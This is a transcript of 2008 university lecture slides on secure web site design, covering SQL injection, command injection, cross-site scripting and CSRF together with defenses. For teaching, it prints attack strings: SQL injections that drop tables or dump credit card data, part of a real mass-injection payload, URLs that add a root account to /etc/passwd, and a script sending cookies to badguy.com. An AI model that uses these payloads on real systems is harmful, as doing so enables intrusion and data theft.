1 / 68

Secure Web Site Design

Spring 2008. CS 155. Secure Web Site Design. John Mitchell. Authorization Netegrity (CA) Oblix (Oracle). Schematic web site architecture. WS 1. Firewall. Firewall. Application Firewall (WAF). Load Balancer. DB. App Servers. WS 2. WS 3. IDS. Web application code.

carlton
Download Presentation

Secure Web Site Design

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Spring 2008 CS 155 Secure Web Site Design John Mitchell

  2. Authorization Netegrity (CA) Oblix (Oracle) Schematic web site architecture WS1 Firewall Firewall ApplicationFirewall (WAF) LoadBalancer DB AppServers WS2 WS3 IDS

  3. Web application code • Runs on web server or app server. • Takes input from web users (via web server) • Interacts with the database and 3rd parties. • Prepares results for users (via web server) • Examples: • Shopping carts, home banking, bill pay, tax prep, … • New code written for every web site. • Written in: • C, PHP, Perl, Python, JSP, ASP, … • Often written with little consideration for security

  4. Common vulnerabilities • SQL Injection • Browser sends malicious input to server • Bad input checking leads to malicious SQL query • XSS – Cross-site scripting • Bad web site sends innocent victim a script that steals information from an honest web site • CSRF – Cross-site request forgery • Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site • Other problems • HTTP response splitting, site redirects, … Sans Top 10

  5. SQL Injection with many slides from Neil Daswani

  6. Dynamic Web Application GET / HTTP/1.0 Browser Web server HTTP/1.1 200 OK index.php Database server

  7. PHP: Hypertext Preprocessor • Server scripting language with C-like syntax • Can intermingle static HTML and code <input value=<?php echo $myvalue; ?>> • Can embed variables in double-quote strings $user = “world”; echo “Hello $user!”; or $user = “world”; echo “Hello” . $user . “!”; • Form data in global arrays $_GET, $_POST, …

  8. SQL • Widely used database query language • Fetch a set of records SELECT * FROM Person WHERE Username=‘grader’ • Add data to the table INSERT INTO Person (Username, Zoobars) VALUES (‘grader’, 10) • Modify data UPDATE Person SET Zoobars=42 WHERE PersonID=5 • Query syntax (mostly) independent of vendor

  9. In context of project 2 … • Sample PHP $recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db->executeQuery($sql); • Problem • What if ‘recipient’ is malicious string that changed the meaning of the query?

  10. Basic picture: SQL Injection Victim Server post malicious form 1 2 unintended query receive valuable data 3 Attacker Victim SQL DB

  11. CardSystems Attack • CardSystems • credit card payment processing company • SQL injection attack in June 2005 • put out of business • The Attack • 263,000 credit card #s stolen from database • credit card #s stored unencrypted • 43 million credit card #s exposed

  12. April 2008 SQL Vulnerabilities

  13. Main steps in this attack • Use Google to find sites using a particular ASP style vulnerable to SQL injection • Use SQL injection on these sites to modify the page to include a link to a Chinese site nihaorr1.com Don't visit that site yourself! • The site (nihaorr1.com) serves Javascript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger Steps (1) and (2) are automated in a tool that can be configured to inject whatever you like into vulnerable sites There is some evidence that hackers may get paid for each visit to nihaorr1.com

  14. Part of the SQL attack string DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSORFOR select a.name,b.name from sysobjects a,syscolumns b wherea.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@CWHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+'‘ ''') FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_CursorDEALLOCATE Table_Cursor; DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(%20AS%20NVARCHAR(4000));EXEC(@S);--

  15. SQL Injection Examples Type 1 Attack Example Enter Username & Password Web Browser(Client) Web Server DB SELECT passwd FROM USERS WHERE uname IS ‘$username’ Attacker will modify

  16. SQL Injection Examples

  17. SQL Injection Examples

  18. SQL Injection Examples Enter Username & Password Web Browser(Client) Web Server DB SELECT passwd FROM USERS WHERE uname IS ‘smith’ Normal Query

  19. SQL Injection Examples Attacker Modifies Input

  20. SQL Injection Examples Malicious Query Enter Username & Password Web Browser(Client) Web Server DB SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE USERS; -- ‘ Eliminates all user accounts

  21. What is SQL Injection? • Input Validation Vulnerability • untrusted user input in SQL query to back-end database • without sanitizing the data • Specific case of more general command injection • inserting untrusted input into a query or command • Why Bad? • supplied data can be misinterpreted as a command • could alter the intended effect of command or query

  22. SQL Injection Examples View pizza order history:<br> <form method="post" action="..."> Month <select> <option name="month" value="1">Jan</option> ... <option name="month" value="12">Dec</option> </select> Year <p> <input type=submit name=submit value=View> </form> Attacker can post form that is not generated by this page.

  23. SQL Injection Examples Normal SQL Query SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Type 2 Attack For order_month parameter, attacker could input WHERE condition is always true! Gives attacker access to other users’ private data! 0 OR 1=1 Malicious Query … WHERE userid=4123 AND order_month=0 OR 1=1

  24. SQL Injection Examples All User Data Compromised

  25. SQL Injection Examples • A more damaging breach of user privacy: • Attacker is able to • Combine the results of two queries • Empty table from first query with the sensitive credit card info of all users from second query For order_monthparameter, attacker could input 0 AND 1=0UNION SELECT cardholder, number, exp_month, exp_yearFROM creditcards

  26. SQL Injection Examples Credit Card Info Compromised

  27. More Attacks • Create new users: ‘; INSERT INTO USERS (‘uname’,’passwd’, ‘salt’) VALUES (‘hacker’,’38a74f’, 3234); • Password reset: ‘; UPDATE USERS SET email=hcker@root.org WHERE email=victim@yahoo.com

  28. Second-Order SQL Injection • Second-Order SQL Injection: attack where data stored in database is later used to conduct SQL injection • Example: this vulnerability could exist if string escaping is applied inconsistently • Solution: Treat ALL parameters as dangerous • UPDATE USERS SET passwd='cracked' WHERE uname='admin' --' attacker chooses username 'admin' -- Strings not escaped!

  29. Preventing SQL Injection • Input validation • Filter • Apostrophes, semicolons, percent symbols, hyphens, underscores, … • Any character that has special meanings • Check the data type (e.g., make sure it’s an integer) • Whitelisting • Blacklisting chars doesn’t work • forget to filter out some characters • could prevent valid input (e.g. username O’Brien) • Allow only well-defined set of safe values • Set implicitly defined through regular expressions

  30. Escaping Quotes • For valid string inputs like username o’connor, use escape characters • Ex: escape(o’connor) = o’’connor • only works for string inputs

  31. Prepared Statements • Metacharacters (e.g. ‘) in queries provide distinction between data & control • Most attacks: data interpreted as control / alters the semantics of a query/cmd • Bind Variables: ? placeholders guaranteed to be data (not control) • Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query

  32. Prepared Statement:Example • query parsed w/o parameters • bind variables are typed e.g. int, string, etc…* PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executeQuery(); Bind Variable: Data Placeholder

  33. Parameterized SQL • Build SQL queries by properly escaping args: ′  \′ • Example: Parameterized SQL: (ASP.NET 1.1) • Ensures SQL arguments are properly escaped. SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader();

  34. Mitigating Impacts • Prevent Schema & Information Leaks • Limit Privileges (Defense-in-Depth) • Encrypt Sensitive Data stored in Database • Harden DB Server and Host OS • Apply Input Validation

  35. Other command injection • Example: PHP server-side code for sending email • Attacker can post OR $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”) http://yourdomain.com/mail.pl? email=hacker@hackerhome.net& subject=foo < /usr/passwd; ls http://yourdomain.com/mail.pl? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

  36. Cross Site Scripting (XSS)

  37. Basic picture: Cross-site scripting Attack Server visit web site 1 receive malicious page 2 send valuable data 5 3 User Victim 4 click on link echo user input Server Victim

  38. The setup • User input is echoed into HTML response. • Example: search field • http://victim.com/search.php ? term = apple • search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> • Is this exploitable?

  39. Bad input • Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> What if user clicks on this link? • Browser goes to victim.com/search.php • Victim.com returns <HTML> Results for <script> … </script> • Browser executes script: Sends badguy.com cookie for victim.com

  40. So what? • Why would user click on such a link? • Phishing email in webmail client (e.g. gmail). • Link in doubleclick banner ad … many many ways to fool user into clicking • What if badguy.com gets cookie for victim.com ? • Cookie can include session auth for victim.com • Or other data intended only for victim.com • Violates same origin policy

  41. Much worse … • Attacker can execute arbitrary scripts in browser • Can manipulate any DOM component on victim.com • Control links on page • Control form fields (e.g. password field) on this page and linked pages. • Example: MySpace.com phishing attack injects password field that sends password to bad guy. • Can infect other users: MySpace.com worm.

  42. MySpace.com (Samy worm) • Users can post HTML on their pages • MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> • … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide “javascript” as “java\nscript” • With careful javascript hacking: • Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. • Samy had millions of friends within 24 hours. http://namb.la/popular/tech.html

  43. Defenses needed at server Attack Server visit web site 1 receive malicious page 2 send valuable data 5 3 User Victim 4 click on link echo user input Server Victim

  44. Avoiding XSS bugs (PHP) • Main problem: • Input checking is difficult --- many ways to inject scripts into HTML. • Preprocess input from user before echoing it • PHP: htmlspecialchars(string) • &  &amp; "  &quot; '  &#039; <  &lt; >  &gt; • htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;

  45. Avoiding XSS bugs (ASP.NET) • ASP.NET 1.1: • Server.HtmlEncode(string) • Similar to PHP htmlspecialchars • validateRequest: (on by default) • Crashes page if finds <script> in POST data. • Looks for hardcoded list of patterns. • Can be disabled: • <%@ Page validateRequest=“false"  %>

  46. httpOnly Cookies (IE) GET … Server Browser HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly • Cookie sent over HTTP(s), but not accessible to scripts • cannot be read via document.cookie • Helps prevent cookie theft via XSS • … but does not stop most other risks of XSS bugs.

  47. Cross Site Request Forgery

  48. Basic picture Server Victim establish session 1 send forged request 4 2 visit server 3 User Victim receive malicious page Attack Server Q: how long do you stay logged on to Gmail?

  49. Recall: session using cookies Browser Server POST/login.cgi Set-cookie: authenticator GET… Cookie: authenticator response

More Related